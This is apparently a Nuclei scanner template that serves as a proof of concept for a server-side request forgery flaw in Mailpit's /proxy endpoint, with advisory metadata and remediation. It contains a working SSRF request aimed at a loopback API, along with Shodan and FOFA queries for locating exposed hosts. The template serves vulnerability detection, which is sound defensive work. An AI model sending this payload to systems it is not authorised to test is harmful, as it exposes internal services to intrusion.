Mailpit <= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.
PoC
id: CVE-2026-21859
info:
name: Mailpit < 1.28.3 - Server-Side Request Forgery
author: omarkurt
severity: high
description: |
Mailpit <= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.
impact: |
Attackers can access internal network services and APIs, potentially exposing sensitive internal resources.
remediation: |
Update to version 1.28.1 or later.
reference:
- https://rosecurify.com/advisories/RO-26-001-mailpit-server-side-request-forgery-ssrf/
- https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2026-21859
epss-score: 0.00813
epss-percentile: 0.55671
cwe-id: CWE-918
cpe: cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: axllent
product: mailpit
shodan-query: title:"Mailpit"
fofa-query: title="Mailpit"
tags: cve,cve2026,mailpit,axllent,oast,oob,ssrf,vkev,vuln
http:
- raw:
- |
GET /proxy?url=http://127.0.0.1:8025/api/v1/info HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"Version"'
- '"Database"'
- '"RuntimeStats"'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
# digest: 4b0a00483046022100ee97f1d5879d29b0ff57bdb196b9b13da07b109dafc180789c89cf91c6354cde02210095ca10684cf16311a3e055782bcfbcbd2a1fe4cf36c554b1137c570e8a36570d:922c64590222798bb761d5b6d8e72950
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